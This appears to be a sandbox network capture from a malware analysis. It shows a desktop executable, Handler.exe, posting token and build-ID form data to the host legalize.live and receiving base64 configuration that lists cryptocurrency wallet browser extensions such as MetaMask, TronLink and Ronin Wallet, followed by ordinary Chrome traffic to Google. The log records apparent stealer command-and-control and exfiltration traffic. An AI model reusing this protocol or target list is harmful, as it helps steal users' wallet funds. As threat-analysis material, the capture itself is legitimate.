2025-01-15 19:16:09 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 62 73 6a 77 34 6f 7a 35 66 63 6a 6d 37 67 76 61 61 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 63 62 73 6a 77 34 6f 7a 35 66 63 6a 6d 37 67 76 61 61 61 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 63 62 73 6a 77 34 6f 7a 35 66 63 6a 6d 37 67 76 61 61 61 61 0d 0a 43 6f 6e 74 Data Ascii: ------cbsjw4oz5fcjm7gvaaaaContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------cbsjw4oz5fcjm7gvaaaaContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------cbsjw4oz5fcjm7gvaaaaCont
2025-01-15 19:16:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:09 UTC	5837	IN	Data Raw: 31 36 63 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 16c0TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49715	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:10 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----89hdt0hdbimozmyukny5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:10 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 39 68 64 74 30 68 64 62 69 6d 6f 7a 6d 79 75 6b 6e 79 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 38 39 68 64 74 30 68 64 62 69 6d 6f 7a 6d 79 75 6b 6e 79 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 38 39 68 64 74 30 68 64 62 69 6d 6f 7a 6d 79 75 6b 6e 79 35 0d 0a 43 6f 6e 74 Data Ascii: ------89hdt0hdbimozmyukny5Content-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------89hdt0hdbimozmyukny5Content-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------89hdt0hdbimozmyukny5Cont
2025-01-15 19:16:11 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:11 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:11 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----bi5xt0hvas268qi5xl6p User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 7409 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:11 UTC	7409	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 69 35 78 74 30 68 76 61 73 32 36 38 71 69 35 78 6c 36 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 62 69 35 78 74 30 68 76 61 73 32 36 38 71 69 35 78 6c 36 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 62 69 35 78 74 30 68 76 61 73 32 36 38 71 69 35 78 6c 36 70 0d 0a 43 6f 6e 74 Data Ascii: ------bi5xt0hvas268qi5xl6pContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------bi5xt0hvas268qi5xl6pContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------bi5xt0hvas268qi5xl6pCont
2025-01-15 19:16:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49717	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:12 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----bi5xt0hvas268qi5xl6p User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 489 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:12 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 62 69 35 78 74 30 68 76 61 73 32 36 38 71 69 35 78 6c 36 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 62 69 35 78 74 30 68 76 61 73 32 36 38 71 69 35 78 6c 36 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 62 69 35 78 74 30 68 76 61 73 32 36 38 71 69 35 78 6c 36 70 0d 0a 43 6f 6e 74 Data Ascii: ------bi5xt0hvas268qi5xl6pContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------bi5xt0hvas268qi5xl6pContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------bi5xt0hvas268qi5xl6pCont
2025-01-15 19:16:13 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:13 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	142.250.181.228	443	7260	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:14 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:16:15 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 19:16:15 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-r2iMyc84HwEiCtUaccdCCA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 19:16:15 UTC	124	IN	Data Raw: 33 33 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 6c 61 79 73 74 61 74 69 6f 6e 20 70 6c 75 73 20 67 61 6d 65 73 22 2c 22 68 61 67 72 69 64 20 63 61 73 74 69 6e 67 22 2c 22 70 68 6f 65 6e 69 78 20 73 75 6e 73 20 74 72 61 64 65 22 2c 22 75 73 63 69 73 20 76 69 73 61 20 62 75 6c 6c 65 74 69 6e 22 2c 22 73 70 61 63 65 78 20 73 74 61 72 73 68 69 70 20 66 6c 69 67 68 74 20 Data Ascii: 332)]}'["",["playstation plus games","hagrid casting","phoenix suns trade","uscis visa bulletin","spacex starship flight
2025-01-15 19:16:15 UTC	701	IN	Data Raw: 37 20 6c 61 75 6e 63 68 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 20 63 6f 6e 73 6f 6c 65 22 2c 22 67 65 6f 72 67 69 61 20 73 63 68 6f 6f 6c 20 63 6c 6f 73 69 6e 67 73 22 2c 22 79 6f 75 6e 67 20 61 6e 64 20 74 68 65 20 72 65 73 74 6c 65 73 73 20 73 70 6f 69 6c 65 72 73 20 63 6c 61 69 72 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 Data Ascii: 7 launch","nintendo switch console","georgia school closings","young and the restless spoilers claire"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sug
2025-01-15 19:16:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	142.250.181.228	443	7260	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:15 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 19:16:15 UTC	1018	IN	HTTP/1.1 200 OK Version: 714120572 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 15 Jan 2025 19:16:15 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-15 19:16:15 UTC	372	IN	Data Raw: 33 34 61 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 34a4)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 38 31 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700281,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window
2025-01-15 19:16:15 UTC	1390	IN	Data Raw: 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 Data Ascii: Array(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u003dglobalThis.trustedTypes;_.Nd\u003dclass{constructor(a){this
